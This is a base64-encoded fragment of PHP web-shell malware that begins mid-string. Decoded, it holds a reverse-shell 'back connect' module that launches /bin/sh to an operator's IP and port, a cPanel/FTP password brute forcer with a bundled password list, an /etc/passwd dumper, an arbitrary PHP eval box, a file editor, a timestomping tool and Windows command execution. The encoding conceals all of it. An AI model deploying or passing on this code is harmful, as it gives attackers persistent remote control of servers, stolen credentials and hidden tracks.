YMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzZ0RRb2dhV1lnS0NoamIyNXVaV04wS0daa0xDIi4KCQkiQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RCIuCgkJIlFvZ0lDQmxlR2wwS0RBcE93MEtJSDBOQ2lCemRISmpZWFFvY20xekxDQmhjbWQyV3pCZEtUc05DaUJ6ZVhOMFpXMG9jbTF6S1RzZ0lBMEtJR1IxY0RJb1ptUXNJREFwT3cwS0lHUjFjRElvWm1Rc0lERXAiLgoJCSJPdzBLSUdSMWNESW9abVFzSURJcE93MEtJR1Y0WldOc0tDSXZZbWx1TDNOb0lpd2ljMmdnTFdraUxDQk9WVXhNS1RzTkNpQmpiRzl6WlNobVpDazdJQTBLZlE9PSI7CgoJaWYgKCRzdGFydCAmJiAkeW91cmlwICYmICR5b3VycG9ydCAmJiAkdXNlKXsKCQlpZiAoJHVzZSA9PSAncGVybCcpIHsKCQkJY2YoJy90bXAvYW5nZWxfYmMnLCRiYWNrX2Nvbm5lY3QpOwoJCQkkcmVzID0gZXhlY3V0ZSh3aGljaCgncGVybCcpLiIgL3RtcC9hbmdlbF9iYyAkeW91cmlwICR5b3VycG9ydCAmIik7CgkJfSBlbHNlIHsKCQkJY2YoJy90bXAvYW5nZWxfYmMuYycsJGJhY2tfY29ubmVjdF9jKTsKCQkJJHJlcyA9IGV4ZWN1dGUoJ2djYyAtbyAvdG1wL2FuZ2VsX2JjIC90bXAvYW5nZWxfYmMuYycpOwoJCQlAdW5saW5rKCcvdG1wL2FuZ2VsX2JjLmMnKTsKCQkJJHJlcyA9IGV4ZWN1dGUoIi90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOwoJCX0KCQltKCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICR5b3VyaXAgcG9ydCAkeW91cnBvcnQgLi4uIik7Cgl9CgoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0JhY2sgQ29ubmVjdCcpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdiYWNrY29ubmVjdCcpOwoJcCgnPHA+Jyk7CglwKCdZb3VyIElQOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3lvdXJpcCcsJ3NpemUnPT4yMCwndmFsdWUnPT4keW91cmlwKSk7CglwKCdZb3VyIFBvcnQ6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neW91cnBvcnQnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JHlvdXJwb3J0KSk7CglwKCdVc2U6Jyk7CgltYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J3VzZScsJ29wdGlvbic9PiR1c2VkYiwnc2VsZWN0ZWQnPT4kdXNlKSk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3RhcnQnLCd2YWx1ZSc9PidTdGFydCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdCgpOwp9Ly9lbmQgYmFja2Nvbm5lY3Qgd2luZG93IHZpYSBOQwoKLy8gQnJ1dGUKZWxzZWlmICgkYWN0aW9uID09ICdicnV0ZScpIHsKZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0JydXRlIEZvcmNlcicpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdicnV0ZScpOwoJbWFrZWhpZGUoJ2RpcicsJGJydXRlKTsKQGluaV9zZXQoJ21lbW9yeV9saW1pdCcsIDEwMDAwMDAwMDAwMDApOwokY29ubmVjdF90aW1lb3V0PTU7CkBzZXRfdGltZV9saW1pdCgwKTsKJHN1Ym1pdCA9ICRfUkVRVUVTVFsnc3VibWl0J107CiR1c2VycyA9ICRfUkVRVUVTVFsndXNlcnMnXTsKJHBhc3MgPSAkX1JFUVVFU1RbJ3Bhc3N3b3JkcyddOwokdGFyZ2V0ID0gJF9SRVFVRVNUWyd0YXJnZXQnXTsKJG9wdGlvbiA9ICRfUkVRVUVTVFsnb3B0aW9uJ107CgoKJHBhc3NsaXN0ID0gIjAxMjM0NTYKMDEyMzQ1NjcKMDEyMzQ1Njc4CjAxMjM0NTY3ODkKMDEyMzQ1Njc4OTAKMTIzNDU2CjEyMzQ1NjcKMTIzNDU2NzgKMTIzNDU2Nzg5CjEyMzQ1Njc4OTAKMTExMTExCjAwMDAwMAoyMjIyMjIKMzMzMzMzCjQ0NDQ0NAo1NTU1NTUKNjY2NjY2Cjc3Nzc3Nwo4ODg4ODgKOTk5OTk5CjEyMzEyMwo0NTY0NTYKNzg5Nzg5CjEyMzMyMQo0NTY2NTQKNjU0MzIxCjc2NTQzMjEKODc2NTQzMjEKOTg3NjU0MzIxCjA5ODc2NTQzMjEKYWRtaW4KYWRtaW5pc3RyYXRvcgphZG1pbmNwCmNwYW5lbAphZG1pbngKYWRtaW5zCnBhc3N3b3JkCnBhc3N3b3JkcwpwYXNzdzByZApwQHNzdzByZApwQHNzd29yZApraG9uZ2NvCjI1MjUxMzI1CnBhc3N3MHJkcyI7CmlmKCR0YXJnZXQgPT0gJycpewokdGFyZ2V0ID0gJ2xvY2FsaG9zdCc7Cn0KcHJpbnQgIiA8ZGl2IGFsaWduPSdjZW50ZXInPgo8Zm9ybSBtZXRob2Q9J3Bvc3QnIHN0eWxlPSdib3JkZXI6IDFweCBzb2xpZCAjMDAwMDAwJz48YnI+PGJyPgo8VEFCTEUgc3R5bGU9J0JPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UnIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM5NjYxMTcgY2VsbFBhZGRpbmc9NSB3aWR0aD0nNDAlJyBiZ0NvbG9yPSMzMDMwMzAgYm9yZGVyQ29sb3JMaWdodD0jOTY2MTE3IGJvcmRlcj0xPjx0cj48dGQ+CjxiPiBUYXJnZXQgIDogPC9mb250PjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0YXJnZXQnIHNpemU9JzE2JyB2YWx1ZT0gJHRhcmdldCBzdHlsZT0nYm9yZGVyOiBmb250LWZhbWlseTp0YWhvbWE7IGZvbnQtd2VpZ2h0OmJvbGQ7Jz48L3A+PC9mb250PjwvYj48L3A+CjxkaXYgYWxpZ249J2NlbnRlcic+PGJyPgo8VEFCTEUgc3R5bGU9J0JPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UnIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM5NjYxMTcgY2VsbFBhZGRpbmc9NSB3aWR0aD0nNTAlJyBiZ0NvbG9yPSMzMDMwMzAgYm9yZGVyQ29sb3JMaWdodD0jOTY2MTE3IGJvcmRlcj0xPgo8dHI+Cjx0ZCBhbGlnbj0nY2VudGVyJz4KPGI+VXNlcm5hbWU8L2I+PC90ZD4KPHRkPgo8cCBhbGlnbj0nY2VudGVyJz4KPGI+UGFzc3dvcmQ8L2I+PC90ZD4KPC90cj4KPC90YWJsZT4KPHAgYWxpZ249J2NlbnRlcic+Cjx0ZXh0YXJlYSByb3dzPScyMCcgbmFtZT0ndXNlcnMnIGNvbHM9JzI1JyBzdHlsZT0nYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+IjsKJGkgPSAwOwp3aGlsZSAoJGkgPCA2MDAwMCkgewoKICAgICRsaW5lID0gcG9zaXhfZ2V0cHd1aWQoJGkpOwogICAgaWYgKCFlbXB0eSgkbGluZSkpIHsKCiAgICAgICAgd2hpbGUgKGxpc3QgKCRrZXksICR2YmFfZXRjcHdkKSA9IGVhY2goJGxpbmUpKXsKICAgICAgICAgICAgZWNobyAiIi4kdmJhX2V0Y3B3ZC4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgfQoKICAgJGkrKzsKfQplY2hvICIKPC90ZXh0YXJlYT4KPHRleHRhcmVhIHJvd3M9JzIwJyBuYW1lPSdwYXNzd29yZHMnIGNvbHM9JzI1JyBzdHlsZT0nYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6I0MwQzBDMCc+JHBhc3NsaXN0PC90ZXh0YXJlYT48YnI+Cjxicj4KPGI+T3B0aW9ucyA6IDwvc3Bhbj48aW5wdXQgbmFtZT0nb3B0aW9uJyB2YWx1ZT0nY3BhbmVsJyBzdHlsZT0nZm9udC13ZWlnaHQ6IDcwMDsnIGNoZWNrZWQgdHlwZT0ncmFkaW8nPiBjUGFuZWwKPGlucHV0IG5hbWU9J29wdGlvbicgdmFsdWU9J2Z0cCcgc3R5bGU9J2ZvbnQtd2VpZ2h0OiA3MDA7JyB0eXBlPSdyYWRpbyc+IGZ0cCA9PT4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0F0dGFjaycgbmFtZT0nc3VibWl0JyA+PC9wPgo8L3RkPjwvdHI+PC90YWJsZT48L3RkPjwvdHI+PC9mb3JtPjxwIGFsaWduPSAnbGVmdCc+IjsKPz4KPD9waHAKZnVuY3Rpb24gZnRwX2NoZWNrKCRob3N0LCR1c2VyLCRwYXNzLCR0aW1lb3V0KXsKJGNoID0gY3VybF9pbml0KCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICJmdHA6Ly8kaG9zdCIpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0JBU0lDKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZUUExJU1RPTkxZLCAxKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkdXNlcjokcGFzcyIpOwpjdXJsX3NldG9wdCAoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAkdGltZW91dCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GQUlMT05FUlJPUiwgMSk7CiRkYXRhID0gY3VybF9leGVjKCRjaCk7CmlmICggY3VybF9lcnJubygkY2gpID09IDI4ICkgewoKcHJpbnQgIjxiPiBFcnJvciA6IENvbm5lY3Rpb24gdGltZWQgb3V0ICwgbWFrZSBjb25maWRlbmNlIGFib3V0IHZhbGlkYXRpb24gb2YgdGFyZ2V0ICE8L2I+IjsKZXhpdDt9CgplbHNlaWYgKCBjdXJsX2Vycm5vKCRjaCkgPT0gMCApewoKcCgiPGI+WyBhdHRhY2tAdmJhdGVhbS5uZXQgXSMgPC9iPgo8Yj4gQXR0YWNraW5nIGhhcyBiZWVuIGRvbmUhIFVzZXJuYW1lOiA8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+ICR1c2VyIDwvZm9udD4gLyBQYXNzd29yZDo8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+ICRwYXNzIDwvZm9udD4gPT4gPGEgaHJlZj1odHRwOi8vJHVzZXI6JHBhc3NAJGhvc3Q6MjA4MiB0YXJnZXQ9X2JsYW5rPkxvZ2luPC9hPjwvYj48YnI+Iik7Cn0KY3VybF9jbG9zZSgkY2gpO30KCmZ1bmN0aW9uIGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl7CiRjaCA9IGN1cmxfaW5pdCgpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAiaHR0cDovLyRob3N0OjIwODIiKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBBVVRILCBDVVJMQVVUSF9CQVNJQyk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSUFdELCAiJHVzZXI6JHBhc3MiKTsKY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRkFJTE9ORVJST1IsIDEpOwokZGF0YSA9IGN1cmxfZXhlYygkY2gpOwppZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAyOCApIHsKcHJpbnQgIjxiPiBFcnJvciA6IENvbm5lY3Rpb24gdGltZWQgb3V0ICwgbWFrZSBjb25maWRlbmNlIGFib3V0IHZhbGlkYXRpb24gb2YgdGFyZ2V0ICE8L2I+IjsKZXhpdDt9CmVsc2VpZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAwICl7CgpwKCI8Yj5bIGF0dGFja0B2YmF0ZWFtLm5ldCBdIyA8L2I+PGI+QXR0YWNraW5nIGhhcyBiZWVuIGRvbmUhPC9hPiBVc2VybmFtZTogPGZvbnQgY29sb3I9JyNGRjAwMDAnPiAkdXNlciA8L2ZvbnQ+IC8gUGFzc3dvcmQ6PGZvbnQgY29sb3I9JyNGRjAwMDAnPiAkcGFzcyA8L2ZvbnQ+PC9iPjxicj4iKTt9Y3VybF9jbG9zZSgkY2gpO30KCmlmKGlzc2V0KCRzdWJtaXQpICYmICFlbXB0eSgkc3VibWl0KSl7CgokdXNlcmxpc3QgPSBleHBsb2RlICgiXG4iICwgJHVzZXJzICk7CiRwYXNzbGlzdCA9IGV4cGxvZGUgKCJcbiIgLCAkcGFzcyApOwpwKCc8Yj5bIGF0dGFja0B2YmF0ZWFtLm5ldCBdIyBBdHRhY2tpbmcgLi4uPC9mb250PjwvYj48YnI+Jyk7CmZvcmVhY2ggKCR1c2VybGlzdCBhcyAkdXNlcikgewokX3VzZXIgPSB0cmltKCR1c2VyKTsKZm9yZWFjaCAoJHBhc3NsaXN0IGFzICRwYXNzd29yZCApIHsKJF9wYXNzID0gdHJpbSgkcGFzc3dvcmQpOwppZigkb3B0aW9uID09ICJmdHAiKXsKZnRwX2NoZWNrKCR0YXJnZXQsJF91c2VyLCRfcGFzcywkY29ubmVjdF90aW1lb3V0KTsKfQppZiAoJG9wdGlvbiA9PSAiY3BhbmVsIikKewpjcGFuZWxfY2hlY2soJHRhcmdldCwkX3VzZXIsJF9wYXNzLCRjb25uZWN0X3RpbWVvdXQpOwp9Cn0KfQp9CgoJZm9ybWZvb3QoKTsKfQoKCgoKCgplbHNlaWYgKCRhY3Rpb24gPT0gJ2V0Y3B3ZCcpIHsKZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0dldCAvZXRjL3Bhc3N3ZCcpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdldGNwd2QnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKJGkgPSAwOwogZWNobyAiPHA+PGJyPjx0ZXh0YXJlYSBjbGFzcz1cImFyZWFcIiBpZD1cInBocGNvZGV4eHhcIiBuYW1lPVwicGhwY29kZXh4eFwiIGNvbHM9XCIxMDBcIiByb3dzPVwiMjVcIj4iOwp3aGlsZSAoJGkgPCA2MDAwMCkgewoKICAgICRsaW5lID0gcG9zaXhfZ2V0cHd1aWQoJGkpOwogICAgaWYgKCFlbXB0eSgkbGluZSkpIHsKCiAgICAgICAgd2hpbGUgKGxpc3QgKCRrZXksICR2YmFfZXRjcHdkKSA9IGVhY2goJGxpbmUpKXsKICAgICAgICAgICAgZWNobyAiIi4kdmJhX2V0Y3B3ZC4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgfQoKICAgJGkrKzsKfQogIGVjaG8gIjwvdGV4dGFyZWE+PC9wPiI7Cglmb3JtZm9vdCgpOwp9CgplbHNlaWYgKCRhY3Rpb24gPT0gJ2V2YWwnKSB7CgkkcGhwY29kZSA9IHRyaW0oJHBocGNvZGUpOwoJaWYoJHBocGNvZGUpewoJCWlmICghcHJlZ19tYXRjaCgnIzxcPyNzaScsICRwaHBjb2RlKSkgewoJCQkkcGhwY29kZSA9ICI8P3BocFxuXG57JHBocGNvZGV9XG5cbj8+IjsKCQl9CgkJZXZhbCgiPyIuIj4kcGhwY29kZTw/Iik7Cgl9Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXZhbCBQSFAgQ29kZScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdldmFsJyk7CgltYWtldGV4dChhcnJheSgndGl0bGUnPT4nUEhQIENvZGUnLCduYW1lJz0+J3BocGNvZGUnLCAndmFsdWUnPT4kcGhwY29kZSkpOwoJcCgnPHA+PGEgaHJlZj0iaHR0cDovL3d3dy40bmdlbC5uZXQvcGhwc3B5L3BsdWdpbi8iIHRhcmdldD0iX2JsYW5rIj5HZXQgcGx1Z2luczwvYT48L3A+Jyk7Cglmb3JtZm9vdGVyKCk7Cn0vL2VuZCBldmFsCgplbHNlaWYgKCRhY3Rpb24gPT0gJ2VkaXRmaWxlJykgewoJaWYoZmlsZV9leGlzdHMoJG9wZmlsZSkpIHsKCQkkZnA9QGZvcGVuKCRvcGZpbGUsJ3InKTsKCQkkY29udGVudHM9QGZyZWFkKCRmcCwgZmlsZXNpemUoJG9wZmlsZSkpOwoJCUBmY2xvc2UoJGZwKTsKCQkkY29udGVudHM9aHRtbHNwZWNpYWxjaGFycygkY29udGVudHMpOwoJfQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0NyZWF0ZSAvIEVkaXQgRmlsZScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7CgltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0N1cnJlbnQgRmlsZSAoaW1wb3J0IG5ldyBmaWxlIG5hbWUgYW5kIG5ldyBmaWxlKScsJ25hbWUnPT4nZWRpdGZpbGVuYW1lJywndmFsdWUnPT4kb3BmaWxlLCduZXdsaW5lJz0+MSkpOwoJbWFrZXRleHQoYXJyYXkoJ3RpdGxlJz0+J0ZpbGUgQ29udGVudCcsJ25hbWUnPT4nZmlsZWNvbnRlbnQnLCd2YWx1ZSc9PiRjb250ZW50cykpOwoJZm9ybWZvb3RlcigpOwp9Ly9lbmQgZWRpdGZpbGUKCmVsc2VpZiAoJGFjdGlvbiA9PSAnbmV3dGltZScpIHsKCSRvcGZpbGVtdGltZSA9IEBmaWxlbXRpbWUoJG9wZmlsZSk7CgkvLyR0aW1lID0gc3RydG90aW1lKCIkeWVhci0kbW9udGgtJGRheSAkaG91cjokbWludXRlOiRzZWNvbmQiKTsKCSRjYWNoZW1vbnRoID0gYXJyYXkoJ0phbnVhcnknPT4xLCdGZWJydWFyeSc9PjIsJ01hcmNoJz0+MywnQXByaWwnPT40LCdNYXknPT41LCdKdW5lJz0+NiwnSnVseSc9PjcsJ0F1Z3VzdCc9PjgsJ1NlcHRlbWJlcic9PjksJ09jdG9iZXInPT4xMCwnTm92ZW1iZXInPT4xMSwnRGVjZW1iZXInPT4xMik7Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQ2xvbmUgZmlsZSB3YXMgbGFzdCBtb2RpZmllZCB0aW1lJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQWx0ZXIgZmlsZScsJ25hbWUnPT4nY3VyZmlsZScsJ3ZhbHVlJz0+JG9wZmlsZSwnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsKCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUmVmZXJlbmNlIGZpbGUgKGZ1bGxwYXRoKScsJ25hbWUnPT4ndGFyZmlsZScsJ3NpemUnPT4xMjAsJ25ld2xpbmUnPT4xKSk7Cglmb3JtZm9vdGVyKCk7Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nU2V0IGxhc3QgbW9kaWZpZWQnKSk7CgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDdXJyZW50IGZpbGUgKGZ1bGxwYXRoKScsJ25hbWUnPT4nY3VyZmlsZScsJ3ZhbHVlJz0+JG9wZmlsZSwnc2l6ZSc9PjEyMCwnbmV3bGluZSc9PjEpKTsKCXAoJzxwPkluc3RlYWQgJnJhcXVvOycpOwoJcCgneWVhcjonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5ZWFyJywndmFsdWUnPT5kYXRlKCdZJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+NCkpOwoJcCgnbW9udGg6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nbW9udGgnLCd2YWx1ZSc9PmRhdGUoJ20nLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7CglwKCdkYXk6Jyk7CgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGF5JywndmFsdWUnPT5kYXRlKCdkJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOwoJcCgnaG91cjonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidob3VyJywndmFsdWUnPT5kYXRlKCdIJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOwoJcCgnbWludXRlOicpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J21pbnV0ZScsJ3ZhbHVlJz0+ZGF0ZSgnaScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsKCXAoJ3NlY29uZDonKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzZWNvbmQnLCd2YWx1ZSc9PmRhdGUoJ3MnLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7CglwKCc8L3A+Jyk7Cglmb3JtZm9vdGVyKCk7Cn0vL2VuZCBuZXd0aW1lCgplbHNlaWYgKCRhY3Rpb24gPT0gJ3NoZWxsJykgewoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsKCQlpZigkcHJvZ3JhbSAmJiAkcGFyYW1ldGVyKSB7CgkJCSRzaGVsbD0gbmV3IENPTSgnU2hlbGwuQXBwbGljYXRpb24nKTsKCQkJJGEgPSAkc2hlbGwtPlNoZWxsRXhlY3V0ZSgkcHJvZ3JhbSwkcGFyYW1ldGVyKTsKCQkJbSgnUHJvZ3JhbSBydW4gaGFzICcuKCEkYSA/ICdzdWNjZXNzJyA6ICdmYWlsJykpOwoJCX0KCQkhJHByb2dyYW0gJiYgJHByb2dyYW0gPSAnYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlJzsKCQkhJHBhcmFtZXRlciAmJiAkcGFyYW1ldGVyID0gJy9jIG5ldCBzdGFydCA+ICcuU0FfUk9PVC4nbG9nLnR4dCc7CgkJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUgUHJvZ3JhbScpKTsKCQltYWtlaGlkZSgnYWN0aW9uJywnc2hlbGwnKTsKCQltYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1Byb2dyYW0nLCduYW1lJz0+J3Byb2dyYW0nLCd2YWx1ZSc9PiRwcm9ncmFtLCduZXdsaW5lJz0+MSkpOwoJCXAoJzxwPicpOwoJCW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGFyYW1ldGVyJywnbmFtZSc9PidwYXJhbWV0ZXInLCd2YWx1ZSc9PiRwYXJhbWV0ZXIpKTsKCQltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ3ZhbHVlJz0+J0V4ZWN1dGUnKSk7CgkJcCgnPC9wPicpOwoJCWZvcm1mb290KCk7Cgl9Cglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nRXhlY3V0ZSBDb21tYW5kJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NoZWxsJyk7CglpZiAoSVNfV0lOICYmIElTX0NPTSkgewoJCSRleGVjZnVuY2RiID0gYXJyYXkoJ3BocGZ1bmMnPT4ncGhwZnVuYycsJ3dzY3JpcHQnPT4nd3NjcmlwdCcsJ3Byb2Nfb3Blbic9Pidwcm9jX29wZW4nKTsKCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidVc2U6JywnbmFtZSc9PidleGVjZnVuYycsJ29wdGlvbic9PiRleGVjZnVuY2RiLCdzZWxlY3RlZCc9PiRleGVjZnVuYywnbmV3bGluZSc9PjEpKTsKCX0KCXAoJzxwPicpOwoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDb21tYW5kJywnbmFtZSc9Pidjb21tYW5kJywndmFsdWUnPT4kY29tbWFuZCkpOwoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3N1Ym1pdCcsJ2NsYXNzJz0+J2J0JywndHlwZSc9PidzdWJtaXQnLCd2YWx1ZSc9PidFeGVjdXRlJykpOwoJcCgnPC9wPicpOwoJZm9ybWZvb3QoKTsKCglpZiAoJGNvbW1hbmQpIHsKCQlwKCc8aHIgd2lkdGg9IjEwMCUiIG5vc2hhZGUgLz48cHJlPicpOwoJCWlmICgkZXhlY2Z1bmM9PSd3c2NyaXB0JyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7CgkJCSR3c2ggPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7CgkJCSRleGVjID0gJHdzaC0+ZXhlYygnY21kLmV4ZSAvYyAnLiRjb21tYW5kKTsKCQkJJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsKCQkJJHN0cm91dHB1dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsKCQkJZWNobyAkc3Ryb3V0cHV0OwoJCX0gZWxzZWlmICgkZXhlY2Z1bmM9PSdwcm9jX29wZW4nICYmIElTX1dJTiAmJiBJU19DT00pIHsKCQkJJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoCgkJCSAgIDAgPT4gYXJyYXkoJ3BpcGUnLCAncicpLAoJCQkgICAxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKCQkJICAgMiA9PiBhcnJheSgncGlwZScsICd3JykKCQkJKTsKCQkJJHByb2Nlc3MgPSBwcm9jX29wZW4oJF9TRVJWRVJbJ0NPTVNQRUMnXSwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpOwoJCQlpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7CgkJCQlmd3JpdGUoJHBpcGVzWzBdLCAkY29tbWFuZC4iXHJcbiIpOwoJCQkJZndyaXRlKCRwaXBlc1swXSwgImV4aXRcclxuIik7CgkJCQlmY2xvc2UoJHBpcGVzWzBdKTsKCQkJCXdoaWxlICghZmVvZigkcGlwZXNbMV0pKSB7CgkJCQkJZWNobyBmZ2V0cygkcGlwZXNbMV0sIDEwMjQpOwoJCQkJfQoJCQkJZmNsb3NlKCRwaXBlc1sxXSk7CgkJCQl3aGlsZSAoIWZlb2YoJHBpcGVzWzJdKSkgewoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzJdLCAxMDI0KTsKCQkJCX0KCQkJCWZjbG9zZSgkcGlwZXNbMl0pOwoJCQkJcHJvY19jbG9zZSgkcHJvY2Vzcyk7CgkJCX0KCQl9IGVsc2UgewoJCQllY2hvKGV4ZWN1dGUoJGNvbW1hbmQpKTsKCQl9CgkJcCgnPC9wcmU+Jyk7Cgl9Cn0vL2VuZCBzaGVsbAoKZWxzZWlmICgkYWN0aW9uID09ICdwaHBlbnYnKSB7CgkkdXBzaXplPWdldGNmZygnZmlsZV91cGxvYWRzJykgPyBnZXRjZmcoJ3VwbG9hZF9tYXhfZmlsZXNpemUnKSA6ICdOb3QgYWxsb3dlZCc7CgkkYWRtaW5tYWlsPWlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQURNSU4nXSkgPyAkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10gOiBnZXRjZmcoJ3NlbmRtYWlsX2Zyb20nKTsKCSEkZGlzX2Z1bmMgJiYgJGRpc19mdW5jID0gJ05vJzsKCSRpbmZvID0gYXJyYXkoCgkJMSA9PiBhcnJheSgnU2VydmVyIFRpbWUnLGRhdGUoJ1kvbS9kIGg6aTpzJywkdGltZXN0YW1wKSksCgkJMiA9PiBhcnJheSgnU2VydmVyIERvbWFpbicsJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLAoJCTMgPT4gYXJyYXkoJ1NlcnZlciBJUCcsZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkpLAoJCTQgPT4gYXJyYXkoJ1NlcnZlciBPUycsUEhQX09TKSwKCQk1ID0+IGFycmF5KCdTZXJ2ZXIgT1MgQ2hhcnNldCcsJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pLAoJCTYgPT4gYXJyYXkoJ1NlcnZlciBTb2Z0d2FyZScsJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddKSwKCQk3ID0+IGFycmF5KCdTZXJ2ZXIgV2ViIFBvcnQnLCRfU0VSVkVSWydTRVJWRVJfUE9SVCddKSwKCQk4ID0+IGFycmF5KCdQSFAgcnVuIG1vZGUnLHN0cnRvdXBwZXIocGhwX3Nhc